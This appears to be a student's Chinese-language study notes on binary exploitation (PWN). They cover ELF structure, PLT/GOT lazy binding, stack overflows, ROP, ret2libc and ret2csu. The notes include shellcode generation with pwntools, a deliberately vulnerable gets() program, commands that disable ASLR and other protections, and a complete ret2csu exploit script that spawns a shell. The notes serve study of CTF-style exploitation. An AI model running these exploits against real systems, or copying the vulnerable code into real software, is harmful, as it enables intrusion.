PWN入門


工具

shellcode

http://shell-storm.org/

配置32位編譯程序

sudo apt-get install lib32readline-dev

源代碼在線查看

https://elixir.bootlin.com/linux/v3.8/source/include/linux

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

雜學

  1. 程序各個數據放在哪里

    image-20210619163544713

    • 未初始化全局變量--Bss(不占用實際空間)

    • 已初始化全局變量--Data

    • 函數、全局常量(只可讀) --Code

    • 局部變量(隨着函數結束釋放) -- Stack

    • 輸入的數據(動態)--Heap

    • 形參--寄存器

    • .rodata (readonly data):只讀數據段

  2. 寄存器

    rax-eax-ax-al/ah

    64-32-16-8-4

  3. windows與linux區分文件

    • windows以后綴識別文件

    • linux以文件頭識別文件類型

  4. vim編輯器以16進制查看

    !xxd

  5. 編譯--匯編

    c->asm asm->機器指令

    反匯編--反編譯

    image-20210713145303447

  6. 關閉緩沖區

    setbuf(stdin,0);

    setbuf(stdout,0);

  7. system函數

    其中的字符串類容可以使用作為shell命令

    如:system("/bin/sh"),調用該函數之后即可進行shell命令操作,ls,pwd,cd ..

  8. nc執行遠程端口程序

    nc ip port

  9. 64位程序只有6字節地址位:有一半為操作系統內核,該地區用戶不可使用,用戶可用區只有一半,所以小一些,多了用不完

  10. 管道符與grep

    • 管道符“|”:將前邊的輸出作為后邊的輸入

    • grep:篩選包含目標字符串的字符串

      ROPgadget --binary XXX --only "pop|ret" | grep ebx

  11. gcc編譯與安全機制

    #!bin/sh/

    gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c

    參數解釋:

    -fno-stack-protector:關閉canary

    -z execstack:打開棧的可執行權限

    -no-pie:關閉PIE

    -g:附加調試信息(必須有源c文件)

    -o 編譯后文件名:編譯文件

    查看ASLR

    echo 0 > /proc/sys/kernel/randomize_va_space

    image-20210716211052281

    機器重啟會重置ASLR

  12. 匯編指令ret=pop eip

  13. 一般的函數調用(自己寫的函數和普通庫函數):使用call指令調用

    系統調用:使用匯編的 int指令調用

  14. 一般地址內容

    • 32位程序

      0x804800-0x804900:自己的代碼

      0xf7xxxxxxxxx:libc的文件

      0xffffxxxxxxxx:棧地址

  15. linux自帶檢查文件字符串功能

    strings ret2libc | grep bin/sh

  16. linux的系統調用位置

    /usr/include/x86_64-linux-gnu/asm/unistd_32.h

    image-20210726214321740

  17. 計算機底層運行都是以字符串轉成ascii碼保存數據

    如:

    12\n=0x31320a

  18. 查看本地libc中system偏移量

    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

    等價於

    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

    libc.symbols["system"]

  19. 32位程序(x86)和64位程序(amd64)的參數傳遞區別

    32位:

    • 僅用棧傳參數

    • 在棧中從高到低地址,以逆序傳入參數,即最后一個參數在最高地址

    • call指令存入返回地址

    • 壓入previous ebp

    64位:

    • 前6個參數分別存在rdi、rsi、rdx、rcx、r8、r9

    • 超過6個的參數存在棧中,同x86

    • call指令壓入返回地址

    • 壓入previous ebp

  20. IDA細字體顯示的函數在gdb中都沒有(這些是IDA猜測的函數,機器碼的程序中沒有)

  21. 程序開始之前棧中有什么內容:環境變量

  22. c語言:

    (函數地址)(參數)==函數(參數)

    若a=greeting,即a為greeting函數地址,那么

    (a)(參數)等價於a(參數)

    int array[5]={0,1,2,3,4}
    //array+1=array[1]
    int a=array;
    //a+4=array[1] 32位程序

    關於將函數地址加減操作

     

動態鏈接

  1. 程序編譯過程

    image-20210520130020650

    靜態鏈接在鏈接的時候將代碼裝入程序

    動態鏈接在程序裝入內存,在需要使用函數時從動態鏈接庫獲取該部分函數,動態鏈接庫一開始就存在於內存,最開始不知道具體函數在哪個位置

    調試查看:

    image-20210721104635857

    在一開始就裝入了在該目錄下文件,該文件就是一個動態鏈接庫

    image-20210717142822501

  2. 動態鏈接過程(概略):

    • call動態鏈接函數

    • 跳轉到 .plt 中的 foo 表項

    • .plt表項第一條指令跳轉到.got.plt表項

    • got第一條類容為跳轉到.plt+1條指令(第一次訪問還未裝入有效地址)

    • push index,給__dl_runtime_resolve 函數傳參

    • 跳轉到PLT0,繼續傳第二個參數

    • 調用__dl_runtime_resolve 函數,將函數真實地址寫入.got

  3. 延遲綁定(詳細)

    根據動態鏈接基礎,我們來看看plt的實際內容

    延遲綁定

    1. bar@plt的第一條指令是一條通過GOT間接跳轉的指令。bar@GOT表示GOT中保存bar()這個函數相應的項。如果鏈接器在初始化階段已經初始化該項,並且將bar()的地址填入該項,那么這個跳轉指令的結果就是我們所期望的,跳轉到bar

    2. 但是為了實現延遲綁定,鏈接器在初始化階段並沒有將bar()的地址填入到該項,而是將上面代碼中第二條指令 ”push n“ 的地址填入到bar@GOT中,這個步驟不需要查找任何符號,所以代價很低。很明顯,第一條指令的效果是跳轉到第二條指令,相當於沒有進行任何操作。第二條指令將一個數字n壓入堆棧中,這個數字是bar這個符號引用在重定位表 “rel. plt” 中的下標,接着又是一條push指令將模塊的ID壓入到堆棧,然后跳轉到dl_ runtime resolve。這實際上就是在實現:先將所需要決議符號的下標壓入堆棧,再將模塊ID壓入堆棧,然后調用動態鏈接器的dl_ runtime_ resolve()函數來完成符號解析和重定位作。 dl_runtime_resolve在進行一系列工作以后將bar(的真正地址填入到bar@GOT中

    3. 一旦bar()這個函數被解析完成,當我們再次調用bar@plt時,第一條jmp指令就能夠跳轉到真正的bar()函數中,bar()函數返回的時候會根據堆棧里面保存的EIP直接返回調用者,而不會再繼續執行bar@plt中第二條指令的開始的那段代碼,那段代碼指揮在符號未被解析的時候執行一次

    4. 上面描述的是PLT的基本原理,PLT的真正實現要比它的結構復雜一些,ELF將GOT拆分成兩個表".got"和"".got.plt"。其中"".got"用來保存全局變量的引用地址。".got.plt"用來保存函數引用的地址,也就是說,所有對於外部函數的引用全部被分離出來放到了 ".got.plt"中。另外 ".got.plt"還有一個特殊的地方就是它的前三項是有特殊意義的,分別含義如下:

      • 第一項保存的是 ".dynamic" 段的地址,這個段描述了本模塊動態鏈接的相關信息,我們在后面還會介紹 ".dynamic"段

      • 第二項保存的是本模塊的ID

      • 第三項保存的是_dl_runtime_resolve()的地址

    參考詳細:https://www.cnblogs.com/linhaostudy/p/10507444.html

  4. 比較靜態鏈接和動態鏈接

    • 動態鏈接

      gcc -fno-PIE -o dytest hello.c

      編譯時關閉PIE報錯? why?

      我傻了,編譯pie小寫

      gcc -fno-pie -o dytest hello.c

      gcc -no-pie -g -o hello hello.c

       

       

      NX:-z execstack / -z noexecstack (關閉 / 開啟)

      Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (關閉 / 開啟 / 全開啟)

      PIE:-no-pie / -pie (關閉 / 開啟)

      RELRO:-z norelro / -z lazy / -z now (關閉 / 部分開啟 / 完全開啟)

    • 靜態鏈接

      gcc -fno-PIE --static -o dytest hello.c

    • 區別:

      • 動態鏈接沒有把庫函數裝入程序,靜態鏈接把庫函數裝入程序

      • 在IDA中,粉色表示的函數都是只在程序存放了一個符號,用來解析函數在動態鏈接庫

        image-20210721101513807

      • 文件大小差距大,靜態鏈接由於庫函數的裝入

        image-20210721101242995

  5. plt節

    .rel.dyn節的每個表項對應了除了外部過程調用的符號以外的所有重定位對象,而.rel.plt節的每個表項對應了所有外部過程調用符號的重定位信息。例如你的程序中需要調用一個libc中的函數,假如是strlen,直接調用的話,這個strlen符號就會在.rel.plt節中,如果在你的程序中定義一個函數指針(假如是my_strlen)指向strlen函數,那么my_strlen符號就會在.rel.dyn節中

    原文鏈接:https://blog.csdn.net/beyond702/article/details/52105778

    定位動態鏈接庫函數:

    image-20210723205155181

    ld為裝載器,同樣裝入內存中

    image-20210723210425631

    使用IDA查看各節:

    • plt節(16字節)

      image-20210724113433958

    • got.plt節(8字節)

      image-20210724113657734

       

  6. 動態調試

    image-20210724114240334

    image-20210724160901441

canary

  1. 原理:

    • 放入canary(隨機數)

      image-20210810142703368

    • 檢查canary

      image-20210810143344957

  2. 知識點:canary的保護機制

    當不存在canary時,多溢出數據會造成segment fault

    當存在canary時,會有stack_chk_fail函數監測到,會顯示stack smashing detected

    image-20210810135913460

概述

工具

  1. ida

  2. IDA安裝:

python

  1. 解釋性代碼:由解釋器來解釋每一行代碼

    運行代碼前邊加python3

    如果在頭部標識好解釋器

    #!/bin/python3

    再添加文件可執行權限

    chmod +x xxx.py

    就可執行了

  2. c語言編譯好后可直接執行

可執行文件分類

image-20210713142450892

ELF文件

圖片1

image-20210713142845526

  1. 文件頭表:操作系統利用建立進程映像

  2. 段表:標識進程映像不同部分的權限(代碼段不可寫)

  3. 節頭表:組織ELF文件存儲在磁盤上各個節的信息

image-20210713144908758

左:磁盤中

右:主存中

  1. 二者映射關系

    image-20210713145809246

    下方兩指令在linux可具體查看圖示結構

虛擬地址

image-20210713145740710

  1. 為了安全采用虛擬地址

  2. 操作系統為你分配實地址,給你虛擬地址使用,操作系統可以從虛擬地址映射到實地址

  3. 每個進程可虛擬使用4GB,但實際占有由操作系統分配僅他具體實際大小空間,分散式存儲

機器字長

如我們64位機器就是機器字長為64位,一次傳輸64位數據

段與節

  1. 段是進程執行時的數據結構

  2. 節是存儲程序在磁盤上的數據結構

  3. 節在裝入內存執行時會裝入段,一個段可裝多個節

    image-20210713155049226

    plt節:解析動態鏈接函數的實際地址

    text:實現特定功能

    got.plt:保存具體解析到的動態鏈接函數地址

    bss:不占用磁盤空間

程序執行過程

  1. 靜態

image-20210713161416270

  1. 動態

image-20210713161455555

image-20210713145809246

棧與堆的壓入方向不同,保證二者利用率到達最大

匯編指令

image-20210713162023316

  1. Intel與AT&T

    • Intel目的操作數在前,源操作數在后,AT&T相反

    • AT&T立即數前加$

    • AT&T取內容符號位()小括號

緩沖區溢出

基本原理

  1. 可見匯編筆記測試3

  2. image-20210714133021710

    特點:

    • 棧從地地址向高地址增長

    • 其他段都是低地址向高地址增長

  3. 工作過程(以下圖為例)

    image-20210714140354756

    • 逆序壓入參數

    • CALL指令:保存下條指令地址ip到棧,並將ip移到子函數指令位置

    • 保存當前棧頂(ebp)的位置入棧

    • 將ebp移至esp

    • 申請一段空間,執行子函數

    • 返回

      • 若有局部變量,使用leave(還原esp+還原ebp)&retn(還原eip)

      • 沒有局部變量可直接pop ebp+retn,因為esp與ebp指向相同地方

        pop:將ESP指向內容賦值給后邊的寄存器

        如:pop ebp;將esp的內容賦值給ebp

    • 返回值存在EAX寄存器中

    • retn還原eip:即恢復指令到主程序,相當於pop eip

    • 可見PWN.pptx的P42

攻擊原理

當函數正在執行內部指令的過程中我們無法拿到程序的控制權,只有在發生函數調用或者結束函數調用時,程序的控制權會在函數狀態之間發生跳轉,這時才可以通過修改函數狀態來實現攻擊。而控制程序執行指令最關鍵的寄存器就是 eip,所以我們的目標就是讓 eip 載入攻擊指令的地址。

  • 首先,在退棧過程中,返回地址會被傳給 eip,所以我們只需要讓溢出數據用攻擊指令的地址來覆蓋返回地址就可以了。其次,我們可以在溢出數據內包含一段攻擊指令,也可以在內存其他位置尋找可用的攻擊指令。

    image-20210714144332116

  • 實例

    image-20210714144943809

漏洞

  1. gets函數

    讀入字符串,但不確定長度,可無限長,直到'\0'才結束讀取

  2. 超出規定長度的數據往上覆蓋,即往返回地址方向覆蓋

  3. 程序存在后門函數

    system("bin/sh")

例題1

  1. 產因:

    • 存在棧溢出gets

    • 存在后門函數system("bin/sh")

例題2

  1. 產因:

    • 存在棧溢出gets

    • 不存在后門函數system("bin/sh")

  2. 由此需要自己寫入攻擊代碼shellcode,代碼寫到哪?

    • bss區

    • stack區

    • heap區

  3. 知識點

    • 堆緩沖區不可執行(沒有可執行權限)

    • 棧本來有可執行權限,但有NX保護(the no Execute bit),存在該保護棧就不可執行

      • the NX bit

        1. 程序與操作系統的防護措施,編譯時決定是否生效,由操作系統實現

        2. 通過在內存頁的標識中增加“執行”位, 可以表示該內存頁是否可以執行, 若程序代碼的 EIP 執行至不可運行的內存頁, 則 CPU 將直接拒絕執行“指令”造成程序崩潰

    • bss區默認有可執行權限

  4. 注意:插入代碼是機器碼,不是c語言代碼

    如何獲取機器碼:

    pwntools 自帶獲取機器碼功能,默認32位

    form pwn import *

    獲得匯編代碼

    print(shellcraft.sh())

    變成機器碼

    print(asm(shellcraft.sh()))

     

    獲得64位獲取shell的機器碼

    print(asm(shellcraft.amd64.sh()))

    注意:設置context.arch = "amd64",即python腳本要加這句才能識別是64位程序

例題3

  1. 產因:

    • 在棧可執行的情況下

  2. 知識點

    • 如何關閉ASLR

      echo 0 > /proc/sys/kernel/randomize_va_space

      image-20210716211052281

      操作系統該文件的值代表了ASLR的情況

      更改其值即更改了ASLR的狀態

    • 如何編譯

      #!bin/sh/

      gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c

      參數解釋:

      -fno-stack-protector:關閉canary

      -z execstack:打開棧的可執行權限

      -no-pie:關閉PIE

      -g:附加調試信息(必須有源c文件)

      -o 編譯后文件名:編譯文件

    • 寫函數打印字符串地址

      #include<stdio.h>
      int main(){
             char str[100];
             printf("%p",str);
             return 0;
      }

      打開ASLR:發現每次str地址隨機

      image-20210716214952070

      關閉ASLR:地址固定

      image-20210716215032870

  3. 自己寫漏洞文件

    //ret2stack.c
    #include<stdio.h>
    int main(){
           char str[100];
      printf("%p",str);
           gets(str);
           return 0;
    }

    編譯

    gcc -fno-stack-protector -z execstack -no-pie -g -o ret2stack ret2stack.c

  4. gdb調試,發現存在sourcecode,因為存在源代碼且在同一路徑下

    image-20210716214334258

  5. gdb調試中輸出的地址和本級運行輸出的地址不同,說明兩點

    • pwndbg是將程序裝入自己的沙盒環境中來運行,

    • pwndbg固定關閉ASLR,無論主機是否開關,所以每次運行輸出地址相同

    總結:實際地址為程序輸出地址,或IDA中地址,且偏移量一定正確

內存保護機制

  1. NX(the NX bit(讓棧段沒有執行權限))

    1. 程序與操作系統的防護措施,編譯時決定是否生效,由操作系統實現

    2. 通過在內存頁的標識中增加“執行”位, 可以表示該內存頁是否可以執行, 若程序代碼的 EIP 執行至不可運行的內存頁, 則 CPU 將直接拒絕執行“指令”造成程序崩潰

  2. ALSR(ADRESS SPACE Laout Randomization),內存隨機化

    系統的防護措施,程序裝載時生效:默認一定打開

    •/proc/sys/kernel/randomize_va_space = 0:沒有隨機化。即關閉 ASLR

    •/proc/sys/kernel/randomize_va_space = 1:保留的隨機化。共享庫、棧、mmap() 以及 VDSO 將被隨機化

    •/proc/sys/kernel/randomize_va_space = 2:完全的隨機化。在randomize_va_space = 1的基礎上,通過 brk() 分配的內存空間也將被隨機化

  3. PIE(Position-Independent Executable)控制bss,data,code(text)的隨機化(磁盤中本體)

    • 程序的防護措施,編譯時生效

    • 隨機化ELF文件的映射地址

    • 開啟 ASLR 之后,PIE 才會生效

    文件映射:將物理外存的文件映射到內存,而不是寫入

  4. canary

    • 介紹:當啟用棧保護后,函數開始執行的時候會先往棧底插入 cookie 信息,當函數真正返回的時候會驗證 cookie 信息是否合法 (棧幀銷毀前測試該值是否被改變),如果不合法就停止程序運行 (棧溢出發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 信息給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode 的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱為 Canary。

    • 詳情

    image-20210716212352868

RELRO(Relocation Read Only)

設置符號重定向表格為只讀或在程序啟動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。

Partial RELRO: gcc -Wl, -z, relro:

ELF節重排

.got, .dtors,etc. precede the .data and .bss

GOT表仍然可寫

Full RELRO: gcc -Wl, -z, relro, -z, now

支持Partial RELRO的所有功能

GOT表只讀

如果有full relro,那么泄露,修改got表的思路就不行了

查詢證明

  1. gcc編譯與安全機制

    #!bin/sh/

    gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c

    參數解釋:

    -fno-stack-protector:關閉canary

    -z execstack:打開棧的可執行權限

    -no-pie:關閉PIE

    -g:附加調試信息(必須有源c文件)

    -o 編譯后文件名:編譯文件

    • 查看ASLR

      echo 0 > /proc/sys/kernel/randomize_va_space

      image-20210716211052281

      機器重啟會重置ASLR

    • 一種攻擊aslr的方法(nop滑梯)

      將棧內容全部覆蓋成nop指令(無任何操作),使得你指向任意地址,有更大的概率指向被覆蓋成nop的指令,那么跳轉到此處就會執行到nop完之后的第一條指令

返回導向編程

  1. 目的:程序之間來回跳轉到達想要的目的(多次篡改返回地址eip)

知識點

  • 如何進行write的系統調用

    #include<stdio.h>
    char shellcode[100]="hello world";
    void my_write(){
       write(1,shellcode,0x100);
    }
    int main(){
       my_write();
       return 0;
    }
    • write是動態鏈接庫封裝好的函數

    • 動態鏈接庫內是匯編指令

      image-20210717144042685

    • 總結:動態鏈接庫包裝匯編代碼封裝成函數,調用動態鏈接庫即完成了匯編代碼功能

  • 什么是動態鏈接庫

    ldd命令查看使用的動態鏈接庫

    image-20210717113604119

    linux-vdso.so.1 (0x00007ffe17cc6000):高級pwn相關知識

     

    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a91026000):標准動態鏈接庫的軟鏈接

    軟鏈接:相當於一種快捷方式,放到任何地方都能打開指向文件

     

    /lib64/ld-linux-x86-64.so.2 (0x00007f6a9120a000):動態鏈接庫裝載器,負責把需要的動態鏈接庫文件裝載到共享空間,沒有漏洞

  • 為什么要動態鏈接庫

    采用動態鏈接庫的優點:

    (1)更加節省內存;

    (2)DLL文件與EXE文件獨立,只要輸出接口不變,更換DLL文件不會對EXE文件造成任何影響,因而極大地提高了可維護性和可擴展性。

  • 查看動態鏈接庫

    根目錄下的lib文件

    image-20210717142150472

    查看libc.so.6

    image-20210717142822501

    可以了解到所有系統都有該文件名,但指向了不同的libc文件(視頻為libc-2.28.so),所以libc.so.6為不變的指向libc文件的軟鏈接,相當於libc文件的快捷方式

ret2sys & ROP

  1. 跳轉到共享區的動態鏈接庫的system函數(或者execve函數)

    system函數是execve函數包裝

    execve對應的匯編代碼

    image-20210717144645702

  2. 在沒有對應連續匯編代碼(一條完整的指令)的情況下,如何做到執行獲取shell的函數呢?

    答:使用ROP,尋找pop+ret指令的組合,達到離散分布指令連續執行的效果

    注意:ret指令相當於pop eip

    image-20210717161427873

    模擬過程:

    • 首先棧溢出覆蓋返回地址,指令跳轉到0x08052318位置

      pop %edx;ret;

    • 0x0c0c0c0c的值賦給edx,跳轉到0x0809951f位置的

      xor %eax,%eax

    • eax置0,跳轉到0x080788c1

      mov %eax,(%edx);ret;

    如此來達到想要的目的

    image-20210718111548347

例4

該例題為靜態鏈接,所使用的指令都能在可執行程序找到

  1. function windows按ctrl+f

    搜索system函數

  2. 在字符串搜索"/bin/sh",存在,但不是system函數參數

  3. 尋找gaget

    ROPgadget --binary XXX --only "pop|ret"

    在XXX ELF文件中尋找只有pop或者ret指令

    ROPgadget --binary XXX --only "pop|ret" |grep eax

    在XXX ELF文件中尋找只有pop或者ret指令,並篩選其中包含eax的字符串

    注意:構造的命令中只有ret改變了eip進行指令跳轉,但是堆棧段並沒有跳轉,所以可以通過溢出到連續的堆棧段來確定數據

  4. 尋找int 80

    ROPgadget --binary XXX --only "int"

    或者使用python自帶的字符串查找

    from pwn import *
    elf=ELF("./ret2systemcall")
    hex(next(elf.search(b"/bin/sh")))

    image-20210718205657340

ret2libc

  1. 環境:

    存在system函數,但其中的參數無效

  2. 思路:只需跳轉到plt節對應的system地址即可

例5

  1. 例1

    如何尋找system函數在plt的地址

    • 在IDA中拖寬左欄

      image-20210724180119200

      注意:不能直接跳轉到plt節就結束,因為plt的內容只是地址,要取plt內容的內容,才是libc中的函數

      image-20210724222347496

    • 如何給函數傳參

      因為調用的system函數需要參數,比如"/bin/sh",那么這段字符串該在哪

      根據堆棧傳參原理,在當前ebp+12的位置為第一參數位置

      image-20210724181622514

      但是由於破壞了堆棧原理,所以需要加4字節垃圾數據,即參數尋找在當前ebp前2字節

      返回到system函數首先壓入其ebp,那么ebp上兩字節就是他的第一個參數

      image-20210724181846179

      注意:ebp位置:指向previous ebp的起始地址

      垃圾數據:保證system跳轉的參數位置正確

    • 需解決的問題

      1. 保證system函數寫入到got節

        無需保證,寫入或不寫入最終都會跳轉到system函數

        因為:可直接返回到plt位置,這樣無論got中是否有system函數地址,都會跳轉到got函數,而不是直接跳到got節去獲取system函數地址

      2. 如果沒有“/bin/sh”字符串該怎么辦

        使用read函數自己讀入

      3. 多次取內容是否自動完成

        由1知:會從plt標記處完全跳轉到system函數

      4. 堆棧如何安排

        如果過程調用2個或以下數量函數,那么兩函數相鄰,兩參數相鄰即可

        如果多余2個,那么需要使用函數地址+pop ret+參數形式來構成鏈

      5. 如何找到plt節:

        plt節寫死在elf文件中,只需在IDA中找到其對應位置即可

例6

  1. 條件:在例5的情況下沒有“/bin/sh”

  2. 如何解決:使用ROP自己構造gets函數,自己讀入“/bin/sh”到bss節

    • 存在bss節的全局變量

    • bss節地址固定

    • ROP可構造出gets函數

例7

  1. 條件:

    • 沒有/bin/sh

    • 沒有system函數

    • 有libc.so文件

  2. 如何解決

    • 使用”sh“代替“/bin/sh”

      使用字符串搜索sh

      strings ret2libc3 |grep sh

    • 利用libc.so文件,通過gdb調試確定其他動態鏈接庫函數puts與system函數的相對地址差(固定不變)

      通過程序輸出其動態鏈接庫函數puts

      image-20210727222203302

    • 注意:寫入system的地址的時候,由於底層的原理機制,需要將地址轉換成10進制的字符串型(ascii碼)

      str(0x123456)

  3. 操作

    • python調試

      elf=ELF("./ret2libc3")      #創建進程
      libc=ELF("./libc.so")
      elf.got["puts"]             #尋找got表中的puts函數地址
      a=libc.symbols["puts"]      #尋找puts在libc中偏移量
      b=libc.symbols["system"]    #尋找system在libc中偏移量
      c=a-b                       #計算libc中puts與system的相對偏移,該值固定
    • GDB調試

      • plt:查看plt節地址與部分信息

      • got:查看got表信息

  4. 小知識

    • 根據段頁式管理,計算機以4KB分頁,導致system函數地址最低3位一定相同

    • 本地只能看偏移量通過計算獲取實際地址,不能直接看gdb獲得的實際地址,可以用程序自身輸出泄露地址,因為本地的libc和遠端libc可能不相同

ret2csu

  1. 原理:

    在 64 位程序中,函數的前 6 個參數是通過寄存器傳遞的,但是大多數時候,我們很難找到每一個寄存器對應的 gadgets。 這時候,我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在。我們先來看一下這個函數 (當然,不同版本的這個函數有一定的區別)

    .text:00000000004005C0 ; void _libc_csu_init(void)
    .text:00000000004005C0                 public __libc_csu_init
    .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16•o
    .text:00000000004005C0                 push    r15
    .text:00000000004005C2                 push    r14
    .text:00000000004005C4                 mov     r15d, edi
    .text:00000000004005C7                 push    r13
    .text:00000000004005C9                 push    r12
    .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
    .text:00000000004005D2                 push    rbp
    .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:00000000004005DA                 push    rbx
    .text:00000000004005DB                 mov     r14, rsi
    .text:00000000004005DE                 mov     r13, rdx
    .text:00000000004005E1                 sub     rbp, r12
    .text:00000000004005E4                 sub     rsp, 8
    .text:00000000004005E8                 sar     rbp, 3
    .text:00000000004005EC                 call    _init_proc
    .text:00000000004005F1                 test    rbp, rbp
    .text:00000000004005F4                 jz     short loc_400616
    .text:00000000004005F6                 xor     ebx, ebx
    .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400600
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54•j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call   qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600
    .text:0000000000400616
    .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34•j
    .text:0000000000400616                 add     rsp, 8
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B                 pop     rbp
    .text:000000000040061C                 pop     r12
    .text:000000000040061E                 pop     r13
    .text:0000000000400620                 pop     r14
    .text:0000000000400622                 pop     r15
    .text:0000000000400624                 retn
    .text:0000000000400624 __libc_csu_init endp

    這里我們可以利用以下幾點

    • 從 0x000000000040061A 一直到結尾,我們可以利用棧溢出構造棧上數據來控制 rbx,rbp,r12,r13,r14,r15 寄存器的數據。

    • 從 0x0000000000400600 到 0x0000000000400609,我們可以將 r13 賦給 rdx, 將 r14 賦給 rsi,將 r15d 賦給 edi(需要注意的是,雖然這里賦給的是 edi,但其實此時 rdi 的高 32 位寄存器值為 0(自行調試),所以其實我們可以控制 rdi 寄存器的值,只不過只能控制低 32 位),而這三個寄存器,也是 x64 函數調用中傳遞的前三個寄存器。此外,如果我們可以合理地控制 r12 與 rbx,那么我們就可以調用我們想要調用的函數。比如說我們可以控制 rbx 為 0,r12 為存儲我們想要調用的函數的地址。

    • 從 0x000000000040060D 到 0x0000000000400614,我們可以控制 rbx 與 rbp 的之間的關系為 rbx+1 = rbp,這樣我們就不會執行 loc_400600,進而可以繼續執行下面的匯編程序。這里我們可以簡單的設置 rbx=0,rbp=1。

  2. 個人總結:

    • 主要針對64位程序,32位程序使用ROPGagets就可以找到對應的pop_ret指令,32位程序從棧傳參,所以無需特殊的指令來對寄存器賦值

    • 64位程序中由於需要使用寄存器傳參,而恰好與csu_init中的寄存器賦值相對應

      .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15

      對這些寄存器賦值后,在調用一下指令

      .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d

      即可完成對前3個參數寄存器的賦值

    • 實際作用效果:無限制的條件下實現寄存器傳參,這里主要是對rdx傳參

  3. 攻擊流程

    from pwn import *
    from LibcSearcher import LibcSearcher

    #context.log_level = 'debug'

    level5 = ELF('./level5')
    sh = process('./level5')

    write_got = level5.got['write']
    read_got = level5.got['read']
    main_addr = level5.symbols['main']
    bss_base = level5.bss()
    csu_front_addr = 0x0000000000400600
    csu_end_addr = 0x000000000040061A
    fakeebp = 'b' * 8


    def csu(rbx, rbp, r12, r13, r14, r15, last):
       # pop rbx,rbp,r12,r13,r14,r15
       # rbx should be 0,
       # rbp should be 1,enable not to jump
       # r12 should be the function we want to call
       # rdi=edi=r15d
       # rsi=r14
       # rdx=r13
       payload = 'a' * 0x80 + fakeebp
       payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
           r13) + p64(r14) + p64(r15)
       payload += p64(csu_front_addr)
       payload += 'a' * 0x38
       payload += p64(last)
       sh.send(payload)
       sleep(1)


    sh.recvuntil('Hello, World\n')
    ## RDI, RSI, RDX, RCX, R8, R9, more on the stack
    ## write(1,write_got,8)
    csu(0, 1, write_got, 8, write_got, 1, main_addr)

    write_addr = u64(sh.recv(8))
    libc = LibcSearcher('write', write_addr)
    libc_base = write_addr - libc.dump('write')
    execve_addr = libc_base + libc.dump('execve')
    log.success('execve_addr ' + hex(execve_addr))
    ##gdb.attach(sh)

    ## read(0,bss_base,16)
    ## read execve_addr and /bin/sh\x00
    sh.recvuntil('Hello, World\n')
    #rbx=0,rbp=1 => rbx=rbp-1;
    #0 => r15 => edi
    #bss_base => r14 => rsi
    #16 => r13 => rdx
    #read_got => retadress
    csu(0, 1, read_got, 16, bss_base, 0, main_addr)
    sh.send(p64(execve_addr) + '/bin/sh\x00')

    sh.recvuntil('Hello, World\n')
    ## execve(bss_base+8)
    csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
    sh.interactive()

     

花式棧溢出

smashes

  1. 知識點:canary的保護機制

    當不存在canary時,多溢出數據會造成segment fault

    當存在canary時,會有stack_chk_fail函數監測到,會顯示stack smashing detected

    image-20210810135913460

  2. 例:smashes:

    場景條件:在低版本的libc中,程序的canary報錯會打印程序的路徑名,該路徑名是一環境變量,此時我們只需將該環境變量棧溢出覆蓋成flag地址,那么報錯提示就會打印flag

棧遷移

  1. 原理:用 gadget改變 esp 的值,跳轉到精心構造的棧位置處

  2. 應用場景:

    • 棧溢出長度不足以使用直接 ROP

    • 棧溢出 payload 會出現空字符截斷,且gadget地址含有空字符

    • 在泄露地址信息后需要新的 ROP payload

  1. 原理:malloc動態申請的空間就在堆中

  2. 申請堆內存的系統調用:

    • mmap

    • brk

      brk申請的原理為:

      初始時,堆的起始地址 start_brk 以及堆的當前末尾 brk 指向同一地址。根據是否開啟 ASLR,兩者的具體位置會有所不同

      • 不開啟 ASLR 保護時,start_brk 以及 brk 會指向 data/bss 段的結尾。

      • 開啟 ASLR 保護時,start_brk 以及 brk 也會指向同一位置,只是這個位置是在 data/bss 段結尾后的隨機偏移處

      image-20210829153826766

雜學

  1. malloc(24):申請的用戶空間為24字節,但實際分配了32字節,why?

    1. malloc申請的空間為用戶可使用的空間,不包括管理信息

    2. 下一個chunk的prev_size可以被該chunk占用,因為只有在該chunk為free時該字段才有用

      24+16-8=32

  2. malloc_hook 是一個libc上的函數指針,調用malloc時如果該指針不為空則執行它指向的函數,可以通過寫malloc_hookgetshell

arena

  1. 定義:雖然程序可能只是向操作系統申請很小的內存,但是為了方便,操作系統會把很大的內存分配給程序。這樣的話,就避免了多次內核態與用戶態的切換,提高了程序的效率。我們稱這一塊連續的內存區域為 arena

